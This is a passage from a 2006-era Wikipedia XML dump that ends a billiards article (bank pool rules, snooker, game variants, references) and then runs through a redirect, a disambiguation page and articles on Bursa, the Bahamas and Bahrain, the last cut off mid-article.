Bank pool has been gaining popularity in recent years.  Bank pool can be played with a full rack, but is more typically played with nine balls (sometimes called &quot;9-ball bank&quot;) &amp;mdash; the balls are racked in 9-ball formation, but in no particular order. The object of the game is simple: to be the first player to bank 5 balls in any order. Bank pool is one of the &quot;cleanest&quot; (no &quot;slop&quot;) billiards games &amp;mdash; no &quot;kick&quot; shots (you must hit the object ball directly without hitting the rail first); no caroms (you must hit the object ball directly without hitting another ball first); no combinations (cue ball to the object ball then object ball to the ''called'' pocket); the object ball can't hit another ball on the way (no &quot;kisses&quot;). Any ball pocketed on a foul, or in the wrong pocket, is spotted. If the cue ball is sunk (or knocked off the table), you must spot (place on or as nearly behind the head spot as possible) any balls that were sunk on that shot, and you &quot;owe&quot; a ball which you must spot as well.  If you scratch and you haven't made a ball, you will owe the next one you sink. After a scratch, the cue ball must be shot from ''behind'' the headstring. Any ball sunk other that the object ball is spotted after your turn.  Technically, fouling during three successive turns means a loss of game, but that rule is largely ignored (players are advised to make sure the rules are clear and agreed-upon before play begins).
[[Image:Snooker.png|right|thumb|200px|Snooker table in starting position]] 
===Snooker===
{{main|Snooker}}
A pocket billiards game originated by British Officers stationed in India during the 19th century. The name of the game became generalized to also describe of one of its prime strategies; to 'snooker'. That is, when necessary, one will attempt to 'snooker' the opposing player, to cause that player to foul or leave an opening to be exploited (see [[Glossary of pool and billiards terms]] - &quot;[[Glossary of pool and billiards terms#Snooker|Snooker]]) .  

In the United Kingdom, Snooker is by far the most popular form of billiards at the competitive level. It is played in many other countries as well.  Snooker is far rarer in the U.S., where pocket billiards games such as eight ball and nine ball dominate.

==Carom and pocket billiards games==
===Carom===
*[[18.1 Balkline]]
*[[18.2 Balkline]]
*[[Artistic Billiards]]
*[[Carambole billiards]]
*[[Four ball]]
*[[Straight rail]]
*[[Three cushion billiard]]

===Pocket===
*[[Banks (billiards)|Banks]]
*[[bowliards]]
*[[Chicago (billiards)|Chicago]]
*[[Chinese Eight Ball]]
*[[Cowboy (billiards)|Cowboy]]
*[[Cribbage (billiards)|Cribbage]]
*[[Cutthroat]] 
*[[Eight ball]]  
*[[English billiards]]
*[[Equal offense]]
*[[Internet Equal Offense]]
*[[Flanges]]
*[[Golf (billiards)|Golf]]
*[[Indian (billiards)|Indian]]
*[[Nine ball]]
*[[One Pocket]]
*[[Rotation (billiards)|Rotation]]
*[[Russian Billiards]]
*[[Seven Ball]]
*[[Six pocket]]
*[[Snooker]]
*[[Straight pool]]
*[[Ten ball]]

===Other variants===
*[[Bar billiards]]
*[[Bumper pool]]
*[[Face Off]]
*[[Hexapool]]

==Notable pool and billiards enthusiasts==
*[[Wolfgang Amadeus Mozart]];
*[[Abraham Lincoln]];
*[[Mary, Queen of Scots]]; 
*[[King Louis XIV of France]]; 
*[[Marie Antoinette]]; 
*[[Mark Twain]]; 
*[[George Custer]]; 
*[[George Washington]]; 
*[[Napoleon Bonaparte]]; 
*[[Charles Dickens]]; 
*[[Lewis Carroll]]; 
*[[Thomas Jefferson]]; 
*[[W.C. Fields]]; 
*[[Jackie Gleason]]; 
*[[Perry Como]]; 
*[[Bob Hope]]; 
*[[Babe Ruth]]; 
*[[Fred Astaire]]; 
*[[Humphrey Bogart]]; 
*[[Paul Sorvino]]; 
*[[Jerry Orbach]];
*[[Sir Donald Bradman]];
* and [[Spencer Gollan]] among others.

==More information==
*[[Glossary of pool and billiards terms]]
*[[Billiard_Congress of America Hall of Fame|BCA Hall of Fame]]
*[[Pool hustling]]
*A Billiards category encompassing pool, snooker and carom was featured in the 2005 [[World Games]], held in [[Duisburg]], [[Germany]].

==References==
*{{note|Stein}} {{cite book
 | first = Victor and Rubino, Paul | last = Stein 
 | authorlink = Victor Stein and Paul Rubino
 | year = [[1996]]
 | title = The Billiard Encyclopedia - An Illustrated History of the Sport (2nd ed.)
 | publisher = Blue Book Publications, June 1996
 | id = ISBN 1886768064 
 }}, Specific page reference needs to be filled in!
*{{note|Shamos}} {{cite book
 | first = Mike | last = Shamos
 | authorlink = Mike Shamos
 | year = [[1991]]
 | title =  Pool
 | publisher = Hotho &amp; Co., June, 1991 
 | id = ISBN 9993870439
 }}, Specific page reference needs to be filled in! (also the reference should be added to indicate what the origin of green  originally was)
*{{note|Harris}} {{cite book
 | first = Walt | last = Harris
 | authorlink = Walt Harris
 | year = [[1991]]
 | title = The Billiard Atlas on Systems &amp; Techniques
 | location = [[Cocoa Beach, Florida]]
 | publisher = Billiard Atlas, December 1991
 | id = ISBN 0963120409
 }}, Introduction at XVII.
# Byrne, Robert. 1998.  Byrne's New Standard Book of Pool and Billiards.  ISBN 0156005549.

==Patents==
* {{US patent|50359}} -- ''Billiard ball''
* {{US patent|76765}} -- ''Billiard ball''
* {{US patent|88634}} -- ''Billiard ball''
* {{US patent|114945}} -- ''Billiard ball''

==External links==

*[http://www.bca-pool.com/ Billiard Congress of America] - The BCA website, which also sells books listing many popular billiard games and their rules.
*[http://www.easypooltutor.com/ easypooltutor.com] - Offering billiards lessons and helpful tips.
*[http://www.billiardresource.com/forum/forum-3.html The Billiard Resource: Pool Games Forum] - A forum discussing billiard games and their rules.
*[http://www.azbilliards.com/vbulletin/upload/index.php The A to Z of Billiards and Pool] - A forum of cue enthusiasts and makers - a great base of knowledge
*[http://www.cuecare.com/history.htm A History of Billiards]
*[http://www.bca-pool.com/aboutus/history/start.shtml A Brief History of the Noble Game of Billiards]
*[http://www.tradgames.org.uk/games/Billiard-Family.htm The Billiards Family]
*[http://library.thinkquest.org/C006300/ Physics of Pool] - How-to-play tutorial with Flash animations
*[http://billiards.port5.com/ billiards.port5.com]- A page dedicated to offering rules for billiard games.
*[http://www.arlman.demon.nl/pool/en_gen.html General Rules] - Additional rules needed to play properly 
*[http://www.americanpool-network.co.uk/ American Pool Network] - UK Based Cuesports resource portal and shop, servicing Pool players needs in the UK and Europe

[[Category:Billiards]]
[[Category:Ball games]]
[[Category:Indoor sports]]
[[Category:Pool billiards]]

{{Link FA|fr}}

[[bg:Билярд]]
[[ca:Billar]]
[[de:Billard]]
[[es:Billar]]
[[fr:Billard]]
[[ko:당구]]
[[it:Biliardo]]
[[he:ביליארד]]
[[lt:Biliardas]]
[[nl:Biljart]]
[[ja:ビリヤード]]
[[no:Biljard]]
[[pl:Bilard]]
[[ro:Biliard]]
[[ru:Биллиард]]
[[fi:Biljardi]]
[[sv:Biljard]]
[[tr:Bilardo]]
[[uk:Більярд]]
[[zh:台球]]</text>
    </revision>
  </page>
  <page>
    <title>Bulldogging</title>
    <id>3448</id>
    <revision>
      <id>25593839</id>
      <timestamp>2005-10-15T16:54:01Z</timestamp>
      <contributor>
        <username>Wesley</username>
        <id>63</id>
      </contributor>
      <comment>merged with steer wrestling</comment>
      <text xml:space="preserve">#redirect [[Steer wrestling]]</text>
    </revision>
  </page>
  <page>
    <title>Big Dipper (disambiguation)</title>
    <id>3449</id>
    <revision>
      <id>38236559</id>
      <timestamp>2006-02-05T01:32:22Z</timestamp>
      <contributor>
        <username>Rogerthat</username>
        <id>537209</id>
      </contributor>
      <text xml:space="preserve">'''Big Dipper''' may refer to:

*In astronomy - [[Big Dipper]]
*In basketball - [[Wilt Chamberlain]]
*In leisure - the [[Roller coaster]] ride, especially in the United Kingdom
*In music - the [[Big Dipper (record label)]]
*In [[Australian rules football]] - [[Robert DiPierdomenico]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Bursa, Turkey</title>
    <id>3450</id>
    <revision>
      <id>39820108</id>
      <timestamp>2006-02-16T02:01:24Z</timestamp>
      <contributor>
        <username>Gilgamesh</username>
        <id>47947</id>
      </contributor>
      <comment>linguistics</comment>
      <text xml:space="preserve">[[Image:Riza Husmen Altiparmak1.jpg|thumb|Bursa]]

'''Bursa''' is the capital of the [[Bursa Province]] in northwestern [[Turkey]]. With a population of 1,194,687 ([[2000]] census), it is Turkey's fourth largest city.  The city is famous for its ski resorts (on the mountain of Uluda&amp;#x11F;), the mausoleums of Ottoman sultans, and the surrounding fertile plain. It is also the home of some important [[Cuisine of Turkey|Turkish foods]], especially [[chestnut]] desserts and a meat dish called [[iskender kebap|İskender kebap]]. 

Bursa is the center of the Turkish [[automobile]] industry, where [[FIAT]] and [[Renault]] have located their factories.

The former names for Bursa are '''Brusa''' and '''Prusa''' ([[Greek language|Greek]] ''Προύσσα''). The earliest known site at this location was [[Cius]], which [[Philip V of Macedon]]ia granted to the [[Bithynia]]n king [[Prusias I of Bithynia|Prusias I]] in [[202 BC]], for his help against [[Pergamum]] and [[Heraclea Pontica]] (modern [[Karadeniz Eregli|Karadeniz Ereğli]]). Prusias renamed the city for himself, Prusa.

It was later a major city, located on the westernmost end of the famous [[Silk Road]], and was the capital of the [[Ottoman Empire]] following its capture from the [[Byzantine Empire|Byzantines]] in [[1326]] until the capture of [[Edirne]] in 1365 and remained an important administrative and commercial center even after it lost its status as the capital. The [[Algerian]] resistance fighter [[Abd_al-Qadir | Emir Abd el-Kader]] resided here for a while ([[1852]] to [[1855]]), as well as [[Ayatollah Khomeini]] in his first year of exile ([[1963]]) before leaving for [[Nejef]] in [[Iraq]] and later for [[Paris]], and [[Ismail Hakkı Bursevi]] a famous [[Islamic]] scholar and [[Sufi]] is buried here.

== External links ==

* [http://www.turkishclass.com/turkey_pictures_gallery_38 Pictures of Bursa]
* [http://www.turkeyforecast.com/weather/bursa/ Bursa Weather Forecast Information]

{{Districts of Bursa}}

[[Category:Bursa]]
[[Category:Ottoman Empire]]
[[Category:Cities along the Silk Road]]

[[ar:بورصة (مدينة)]]
[[de:Bursa]]
[[el:Προύσα]]
[[fr:Bursa]]
[[it:Bursa]]
[[nl:Bursa (stad)]]
[[ja:ブルサ]]
[[pl:Bursa]]
[[pt:Bursa]]
[[sv:Bursa]]
[[tr:Bursa şehri]]</text>
    </revision>
  </page>
  <page>
    <title>Bahamas</title>
    <id>3451</id>
    <revision>
      <id>42106226</id>
      <timestamp>2006-03-03T21:41:17Z</timestamp>
      <contributor>
        <ip>67.171.79.251</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox_Country|
| native_name = Commonwealth of The Bahamas
| common_name = the Bahamas
| image_flag = Flag of the Bahamas.svg
| image_coat = Bahamas_coa.png
| image_map = LocationBahamas.png
| national_motto = Forward Upward Onward Together
| national_anthem = [[March On, Bahamaland]]
| official_languages = [[English language|English]]
| capital = [[Nassau, Bahamas|Nassau]]
| latd=24 |latm=4 |latNS=N |longd=77 |longm=20 |longEW=W
| largest_city = [[Nassau, Bahamas|Nassau]]
| government_type= [[Parliamentary democracy]]
| leader_titles = [[British monarchy|Queen]]&lt;br&gt; [[List of Governors-General of the Bahamas|Governor-General]]&lt;br&gt; [[List of Prime Ministers of the Bahamas|Prime Minister]]
| leader_names = [[Elizabeth II of the United Kingdom|Elizabeth II]]&lt;br&gt;[[Arthur Dion Hanna]]&lt;br&gt; [[Perry Christie]]
| area_rank = 155th
| area_magnitude = 1 E10
| area= 13,940
| areami² = 5,382 &lt;!-- Do not remove [[WP:MOSNUM]]--&gt;
| percent_water = 28%
| population_estimate = 301,790&lt;sup&gt;1&lt;/sup&gt;
| population_estimate_year = 2005
| population_estimate_rank = 168th
| population_census= 254,685
| population_census_year= 1990
| population_density = 21
| population_densitymi² = 54.4&lt;!-- Do not remove [[WP:MOSNUM]]--&gt;
| population_density_rank= 152
| GDP_PPP_year= 2005
| GDP_PPP = 5729
| GDP_PPP_rank = 147
| GDP_PPP_per_capita = 17,865
| GDP_PPP_per_capita_rank = 41
| HDI_year = 2003
| HDI = 0.832
| HDI_rank = 50th
| HDI_category = &lt;font color=&quot;#009900&quot;&gt;high&lt;/font&gt;
| sovereignty_type = [[Independence]]
| established_events = &amp;nbsp;- Date
| established_dates = From the [[United Kingdom]]&lt;br&gt; [[July 10]], [[1973]]
| currency = [[Bahamian dollar]]
| currency_code = BSD
| country_code = bs
| time_zone= [[Eastern Standard Time|EST]]
| utc_offset= &amp;minus;5
| time_zone_DST= [[Eastern Daylight Time|EDT]]
| utc_offset_DST= &amp;minus;4
| cctld= [[.bs]]
| calling_code = [[Area code 242|1-242]]
| footnotes = &lt;sup&gt;1&lt;/sup&gt; Estimates for this country take into account the effects of excess mortality due to [[AIDS]]; this can result in lower [[life expectancy]], higher [[infant mortality]] and [[death]] rates, lower population growth rates, and changes in the distribution of population by age and sex than would otherwise be expected.
}}

The '''Commonwealth of The Bahamas''' is an independent [[English language|English]]-speaking nation in the [[West Indies]].  An [[archipelago]] of 700 islands and [[cay]]s (which are small islands), the Bahamas is located in the [[Atlantic Ocean]], east of [[Florida]] in the [[United States]], north of [[Cuba]] and the [[Caribbean]], and west of the British dependency of the [[Turks and Caicos Islands]].  

== History ==
{{main|History of the Bahamas}}
[[Christopher Columbus]]'s first landfall in the [[New World]] in [[1492]] is believed to have been on the island of [[San Salvador Island|San Salvador]] (also called Watling's Island), in the southeastern Bahamas. He encountered [[Taino]] (also known as [[Lucayan]]) [[Indigenous peoples of the Americas|Amerindian]]s and exchanged gifts with them. 

Taino Indians from both northwestern Hispaniola and northeastern Cuba moved into the southern Bahamas about the 7th century [[Anno Domini|AD]] and became the Lucayans. They appear to have settled the entire archipelago by the 12th century AD. There may have been as many as 40,000 Lucayans living in the Bahamas when Columbus arrived.

The Bahamian Lucayans were deported to Hispaniola as slaves, and within two decades Taino societies ceased to exist as a separate population due to forced labour, warfare, disease, emigration and outmarriage. 

Some say the name 'Bahamas' derives from the Spanish for shallow sea - baja mar. Others trace it to the Lucayan word for Grand Bahama Island - ba-ha-ma, or 'large upper middle land'.

After the Lucayans were destroyed, the Bahamian islands were deserted until the arrival of English settlers from Bermuda in 1650. Known as the Eleutherian Adventurers, these people established settlements on the island now called Eleuthera (from the Greek word for freedom).

The Bahamas became a British crown colony in 1718 but remained sparsely settled until the newly independent United States expelled thousands of American tories and their slaves. Many of these [[United Kingdom|British]] [[Loyalist (American Revolution)|Loyalists]] were given compensatory land grants in Canada and the Bahamas. Some 8,000 loyalists and their slaves moved to the Bahamas in the late 1700s from New York, Florida and the Carolinas.

The British granted the islands internal self-government in 1964 and, in 1973, Bahamians achieved full independence while remaining a member of the [[Commonwealth of Nations]].  Since the 1950s, the Bahamian economy has been based on the twin pillars of tourism and financial services. Today, the country enjoys the third highest per capita income in the western hemisphere.

== Geography ==
{{main|Geography of the Bahamas}}

[[Image:Bf-map.png|frame|right|Map of the Bahamas]]
The Bahamas is an archipelago of some 700 islands and cays covering over 100,000 [[square mile]]s (260,000 [[square kilometre|km²]]) of the Atlantic ocean between Florida and Hispaniola. The archipelago has a total land area of 5,382 square miles (13,939&amp;nbsp;km²)— about 20 percent larger than Jamaica — and a population of some 310,000 concentrated on the islands of New Providence and Grand Bahama.

The largest island is [[Andros, Bahamas|Andros Island]]. The [[Bimini]]s are just 50 [[mile]]s (80 [[kilometre|km]]) east of Florida. The island of [[Grand Bahama]] is home to the second largest city in the country, [[Freeport, Bahamas|Freeport]]. The island of [[Abaco]] is to its east. The most southeastern island is [[Inagua]]. Other notable islands include [[Eleuthera]], [[Cat Island, Bahamas|Cat Island]], [[San Salvador]], [[Acklins]], [[Crooked Island, Bahamas|Crooked Island]], [[Exuma]] and [[Mayaguana]]. [[Nassau, Bahamas|Nassau]] is the capital and largest city, located on [[New Providence]]. The islands have a subtropical climate, moderated by the [[Gulf Stream]].

==Politics==
{{main|Politics of the Bahamas}}
Queen Elizabeth II is the [[head of state]] of the Bahamas, which has remained a member of the [[Commonwealth of Nations]] as a [[Commonwealth Realm]]. She is represented in the Bahamas by a [[Governor-General of the Bahamas|Governor-General]], appointed on the recommendation of the elected government. A multi-party democracy in the British tradition, the Bahamas has a bicameral parliament with an elected assembly and an appointed senate. The country is governed by a cabinet headed by a prime minister. Elections are held every five years.

== Districts ==
{{main|Districts of the Bahamas}}
The districts of the Bahamas provide a system of local government everywhere in the Bahamas except [[New Providence]], whose affairs are handled directly by the central government. The current system dates from [[1996]] when 23 [[district]]s were defined &amp;#8212; a further 8 were added in [[1999]].

== Economy ==
{{main|Economy of the Bahamas}}
The Bahamas is a stable, developing nation with an economy heavily dependent on [[tourism]] and offshore [[banking]]. Tourism alone accounts for more than 60% of [[Gross Domestic Product|GDP]] and directly or indirectly employs almost half of the archipelago's labour force. Steady growth in tourism receipts and a boom in construction of new [[hotel]]s, resorts, and residences have led to solid GDP growth in recent years. 

[[Manufacturing]] and [[agriculture]] together contribute approximately a tenth of GDP and show little growth, despite government incentives aimed at those sectors. Overall growth prospects in the short run rest heavily on the fortunes of the tourism sector, which depends on growth in the [[United States]], the source of the majority of tourist visitors. 

==Demographics==
{{main|Demographics of the Bahamas}}
Most of the Bahamian population is black (85%); about 12% is white. The official language is [[English language|English]], spoken by nearly all inhabitants, though many speak a &quot;[[patois]]&quot; form of it. A small number of immigrants also speak [[Creole language|Creole]], [[Spanish language|Spanish]] and [[Portuguese language|Portuguese]]

A heavily religious country, there are more places of worship per person in the Bahamas than any other nation in the world.  [[Christianity]] is the main religion on the islands, with [[Baptism|Baptists]] forming the largest denomination (about one third), followed by the [[Anglican Church|Anglican]] and [[Roman Catholic]] churches.

A few people, especially in the southern and eastern islands, practice ''[[obeah]]'', a [[spiritism|spiritistic]] religion similar to [[voodoo]]. While well-known throughout the Bahamas, obeah is shunned by many people. [[Voodoo]] is practiced, but almost exclusively by immigrants from [[Haiti]], Cuba, Dominican Republic and Jamaica.

==Culture==
{{seealso|Culture of the Bahamas}}

Bahamian [[culture]] is a hybrid of [[Africa]]n, [[Europe]]an and indigenous forms. Perhaps its most famous export is a rhythmic form of [[music]] called [[junkanoo]].

==Climate==
The [[climate]] of the Bahamas is [[subtropical]] to [[tropical]], and is moderated significantly by the waters of the [[Gulf Stream]], particularly in [[winter]].  Conversely, this often proves very dangerous in the [[summer]] and [[autumn]], when [[hurricane]]s pass near or through the islands.  [[Hurricane Andrew]] hit the northern islands in [[1992 Atlantic hurricane season|1992]], and [[Hurricane Floyd]] hit most of the islands in [[1999 Atlantic hurricane season|1999]].  [[Hurricane Frances]] of [[2004 Atlantic hurricane season|2004]] was expected to be the worst ever for the islands.   Also in 2004, the northern Bahamas were hit by a less potent [[Hurricane Jeanne]].

==See also==
* [[Bahamian American]]
* [[Tongue of the Ocean]], a geological phenomenon
* [[Communications in the Bahamas]]
* [[Foreign relations of the Bahamas]]
* [[Military of the Bahamas]]
* [[Transport in the Bahamas]]
* [[Postage stamps and postal history of the Bahamas]]

==References==
===General history===
* Albury, Paul. ''The Story of The Bahamas''. London: MacMillan Caribbean, 1975.
* Miller, Hubert W.  &quot;The Colonization of the Bahamas, 1647-1670,&quot; ''The William and Mary Quarterly'' 2 no.1 (Jan 1945): 33-46.
* Craton, Michael. ''A History of the Bahamas''. London: Collins, 1962.
* Craton, Michael and Saunders, Gail. ''Islanders in the Stream: A History of the Bahamian People''. Athens: University of Georgia Press, 1992.

===Economic history===
* Johnson, Howard.  ''The Bahamas in Slavery and Freedom''. Kingston: Ian Randle Publishing, 1991.
* Johnson, Howard.  ''The Bahamas from Slavery to Servitude, 1783-1933''. Gainesville:  University of Florida Press, 1996.
* Storr, Virgil H. ''Enterprising Slaves and Master Pirates: Understanding Economic Life in the Bahamas''. New York: Peter Lang, 2004.

===Social history===
* Johnson, Wittington B. ''Race Relations in the Bahamas, 1784-1834:  The Nonviolent Transformation from a Slave to a Free Society.''  Fayetteville: University of Arkansas, 2000.
* Shirley, Paul. &quot;Tek Force Wid Force,&quot; ''History Today'' 54, no. 41 (April 2004): 30-35.
* Saunders, Gail. ''The Social Life in the Bahamas 1880s-1920s''. Nassau: Media Publishing, 1996.
* Saunders, Gail. ''Bahamas Society After Emancipation''. Kingston: Ian Randle Publishing, 1990.

== External links ==
{{sisterlinks|The Bahamas}}
* [http://www.bahamas.gov.bs/ Bahamas Government Official Website]
* [http://www.bahamas.co.uk/ UK Bahamas Tourist Office]
* [http://www.bahamas-tourisme.fr/ French Bahamas Tourist Office]
* [http://www.bahamas.com/ Bahamas Ministry of Tourism]
* [http://www.constitution.org/cons/bahamas.htm The Bahamas Constitution]
* [http://www.bahamianstudies.org/ Bahamian Studies Online]
* {{de icon}} [http://www.strausbach.de/bahamas_photo.php Photogallery] (with slide show)
* [http://www.lodgephoto.com/galleries/bahamas-abacos/ Photographs of the Bahamas] - Abaco islands, including Junkanoo festival
''Maps of the Bahamas Islands [http://www.caribbean-on-line.com Caribbean-On-Line.com]'' 
* [http://www.bahamas-on-line.com/bahamas-maps.html Map of the Bahamas Island Chain]

{{West Indies}}
{{caricom}}

[[Category:Bahamas| ]]
[[Category:Caribbean countries]]
[[Category:Monarchies]]
[[Category:North Atlantic Islands]]
[[Category:Members of the Commonwealth of Nations]]
[[Category:Island nations]]
[[Category:CARICOM member states]]
[[Category:1973 establishments]]

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[[zh:巴哈马]]</text>
    </revision>
  </page>
  <page>
    <title>Bahrain</title>
    <id>3452</id>
    <revision>
      <id>42067540</id>
      <timestamp>2006-03-03T16:16:36Z</timestamp>
      <contributor>
        <ip>68.34.11.192</ip>
      </contributor>
      <comment>/* Culture */</comment>
      <text xml:space="preserve">{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;&lt;big&gt;'''مملكة البحرين&lt;br&gt;Kingdom of Bahrain'''&lt;/big&gt;&lt;/big&gt;
|-
| style=&quot;background:#efefef;&quot; align=&quot;center&quot; colspan=2 |
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|-
| align=&quot;center&quot; width=&quot;140px&quot; | [[image:Flag of Bahrain.svg|125px|Flag of Bahrain]]
| align=&quot;center&quot; width=&quot;140px&quot; | [[Image:Bahrain coa.png|125px]]
|-
| align=&quot;center&quot; width=&quot;140px&quot; | ([[Flag of Bahrain|In Detail]])
| align=&quot;center&quot; width=&quot;140px&quot; | ([[Emblem of Bahrain|Full size]])
|}
|-
| align=&quot;center&quot; colspan=2 | &lt;small&gt;''[[National motto]]: [[Bahrainona]]'' &amp;#1576;&amp;#1581;&amp;#1585;&amp;#1610;&amp;#1606;&amp;#1606;&amp;#1575;&lt;/small&gt;
|-
| align=center colspan=2 style=&quot;background:#fff;&quot; | [[image:LocationBahrain.png]]
|-
| '''Official [[language]]s''' || [[Arabic language|Arabic]] and [[English language|English]]
|-
| '''[[Capital]]''' || [[Manama]]
|-
| '''[[King of Bahrain|King]]''' || [[Hamad bin Isa al-Khalifah]]
|-
| '''[[Prime Minister of Bahrain|Prime Minister]]''' || [[Khalifah bin Sulman al-Khalifah]]
|-
| '''[[Crown Prince]]'''
| [[Salman bin Hamad bin Isa Al-Khalifa]]
|-
| '''[[Area]]'''&lt;br&gt; - Total&lt;br&gt; - % water
| [[List of countries by area|Ranked 176th]]&lt;br&gt; 665 [[square kilometre|km&amp;sup2;]] (253&amp;nbsp;[[square mile|sq.&amp;nbsp;mi]])&lt;br&gt; 0%
|-
| '''[[Population]]'''
&lt;br&gt; - Total (2005)
&lt;br&gt; - [[Population density|Density]]
| [[List of countries by population|Ranked 157th]]
&lt;br&gt; 688,345
note: includes 235,108 non-nationals (July 2005 est.)
&lt;br&gt; 987/km&amp;sup2; (2,556/sq.&amp;nbsp;mi)
|-
|'''[[Human Development Index|HDI]]''' (2003) || 0.846 ([[List of countries by Human Development Index|43rd]]) – &lt;font color=&quot;#009900&quot;&gt;high&lt;/font&gt;
|-
| '''[[Independence]]'''- From the [[United Kingdom]]&lt;br&gt;
| 
&lt;br&gt;1971
|-
| '''[[Currency]]''' || [[Bahraini Dinar]] (BHD)
|-
| '''[[GDP]]'''
| $ 14.08 billion ([[List of countries by gdp (ppp)|130]])
|-
| '''[[List of countries by GDP (PPP) per capita| GDP per capita]]''' 
| $ 20,500 (50)
|-
| '''[[Time zone]]''' || [[Coordinated Universal Time|UTC]]+3
|-
| '''[[National anthem]]''' || [[Bahrainona]] (Our Bahrain)
|-
| '''[[Top-level domain|Internet TLD]]''' || [[.bh]]
|-
| '''[[List_of_country_calling_codes|Calling Code]]'''
| 973
|}The '''Kingdom of Bahrain''', or '''Bahrain''' (''formerly spelled '''Bahrein'''''), ([[Arabic language|Arabic]]: مملكة البحرين) is a [[borderless country|borderless]] [[island nation]] in the [[Persian Gulf]] ([[Southwest Asia]]/[[Middle East]], [[Asia]]). [[Saudi Arabia]] lies to the west and is connected to Bahrain by the [[King Fahd Causeway]] (officially opened on [[November 25]], [[1986]]), and [[Qatar]] is to the south across the [[Persian Gulf]]. The [[Qatar–Bahrain Friendship Bridge]], currently being planned, will link Bahrain to Qatar as the longest fixed link in the world.

==History==
{{Main|History of Bahrain}}

Bahrain has been populated by humans since prehistoric times, and has even been proposed as the site of the [[Biblical]] [[Garden of Eden]]. 

Its strategic location in the [[Persian Gulf]] has brought rule and influence from the [[Assyrian people|Assyrians]], [[Babylonia]]ns, [[Greeks]], [[Persian people|Persians]], and finally the [[Arab]]s, under whom the island became [[Muslim]]. Bahrain was in the ancient times known as [[Dilmun]], [[Tylos]] (its Greek given name), Awal, as well as [[Persian language|Persian]] name [[Mishmahig]] when it came under the imperial rule of the [[Persian Empire]].

The islands of Bahrain, positioned in the middle south of the [[Persian Gulf]], have attracted the attention of many invaders in history. Bahrain, meaning &quot;Two Seas&quot; refers to the fact that the islands contain the two sources of water, sweet water springs and salty water in the surrounding seas.

A strategic position between East and West, fertile lands, fresh water, and pearl diving made Bahrain a centre of [[Urban area|urban]] settlement throughout history. Some 2,300 years [[Anno Domini|BC]], Bahrain became a centre of one of the ancient empires trading between [[Mesopotamia]] (now [[Iraq]]) and the [[Indus Valley]] (now the region near India). This was the civilization of Delmon that was linked to the Sumerian Civilization in the third millennium BC. Bahrain became part of the Babylonian empire about 600 BC. Historical records referred to Bahrain as the &quot;Life of Eternity&quot;, &quot;Paradise&quot;, etc. Bahrain was also called the &quot;Pearl of the Persian Gulf&quot;.

Bahrain up until 1521 comprised the bigger region of Ahsa, Qatif (both are now the eastern province of [[Saudi Arabia]]) as well as Awal (now Bahrain Islands). The region stretched from what is now Kuwait to Oman. This was Iqlim Al-Bahrain (Province of Bahrain). In 1521, the Portuguese conquered Awal and since then the name of 'Bahrain' has specifically referred to today's Bahrain.

From the 16th centrury to [[Anno Domini|AD]] [[1743]] the control of Bahrain drifted between the Portuguese and the Persians. Ultimately, the Persian king, [[Nadir Shah]] Invaded and took control of Bahrain and for reasons of political control supported the Shia majority. In the late 18th Century the [[Al-Khalifa]] family invaded and captured the islands. In order to secure Bahrain from returning to Persian control, the Emirate entered into a treaty relationship with the [[United Kingdom]] and became a British protectorate. 

Oil was discovered in 1931 and brought rapid modernization and improvements to Bahrain. It also made relations with the United Kingdom closer, evidenced by the British moving more bases to the island nation. British influence would continue to grow as the country developed, culminating with the appointment of [[Charles Belgrave]] as an advisor; Belgrave established modern education systems in Bahrain.

After [[World War II]], increasing anti-British sentiment spread throughout the Arab world and led to riots in Bahrain. In the 1960s, the United Kingdom put Bahrain's future to international arbitration and requested that the [[United Nations Secretary-General]] take on this responsibility. In 1970, Iran simultaniously laid claim to both Bahrain and the other Persian Gulf islands, however in an agreement with the United Kingdom it agreed to 'not pursue' its irredentist claims on Bahrain if its other claims were realised. The following [[plebiscite]] saw Bahrainis confirm their independence from Britain and their Arab identity. Bahrain to this day remains a member of the [[Arab League]] and the all Arab [[Gulf Cooperation Council]]. 

The British withdrew from Bahrain in August 1971, making Bahrain an independent emirate in line with the desires of the Plebicite. The oil boom of the 1980s greatly benefitted Bahrain, but its downturn was felt badly. However, the country had already begun to diversify its economy, and had benefited from the [[Lebanese civil war]] that began in the 1970s; Bahrain replaced [[Beirut]] as the Middle East's financial hub as Lebanon's large banking sector was driven out of the country by the war. 

After 1979 [[Iranian Revolution|Islamic revolution]] in Iran, Bahraini Shia fundamentalists in 1981 orchestrated a [[1981 failed coup in Bahrain|failed coup]] attempt under the auspices of a front organisation, the [[Islamic Front for the Liberation of Bahrain]]. The coup would have installed a Shia cleric exiled in Iran, Hojjat ol-Eslam [[Hadi al-Modarresi]], as supreme leader heading a [[theocracy|theocratic government]].

In 1994 a wave of rioting by disaffected [[Shi'a]] [[Islamists]] occurred due to perceived injust actions by the government. The Kingdom was badly affected by sporadic violence during the mid-1990s in which over forty people were killed by the government and hundreds jailed. 

In March 1999, [[Hamad ibn Isa al-Khalifah]] succeeded his father as head of state and instituted elections for parliament, gave women the right to vote and released all political prisoners; moves described by [[Amnesty International]] as representing an [http://web.amnesty.org/library/Index/ENGMDE110052001?open&amp;of=ENG-BHR 'historic period for human rights']. This provided the country with a great chance to move forward, if somewhat falteringly[http://www.worldtribune.com/worldtribune/05/front2453709.6708333334.html], toward a political consensus.

==Politics==
{{Politics of Bahrain}}
''Main article: [[Politics of Bahrain]]''

Bahrain is a [[constitutional monarchy]] headed by the King, [[Hamad bin Isa Al Khalifa| Shaikh Hamad bin Isa Al Khalifa]]; the head of government is the Prime Minister, [[Khalifa bin Salman Ali Khalifa| Shaikh Khalifa bin Salman Al Khalifa]] who presides over a cabinet of 15 members. Bahrain has a bicameral legislature with a lower house, the Chamber of Deputies, elected by universal suffrage and the upper house, the Shura Council, appointed by the King. Both houses have forty members. The inaugural elections were held in 2002, with parliamentarians serving four year terms.

The opening up of politics has seen big gains for both Shia and Sunni Islamists in elections, which has given them a parliamentary platform to pursue their policies. This has meant that what are termed 'morality issues' have moved further up the political agenda with parties launching campaigns to impose bans on female mannequins displaying lingerie in shop windows, sorcery and the hanging of underwear on washing lines. Supporters of democratisation in the Middle East cite the Islamists' references to respect for human rights in their justification for these programmes as evidence that these groups can serve as a progressive force in the region. 

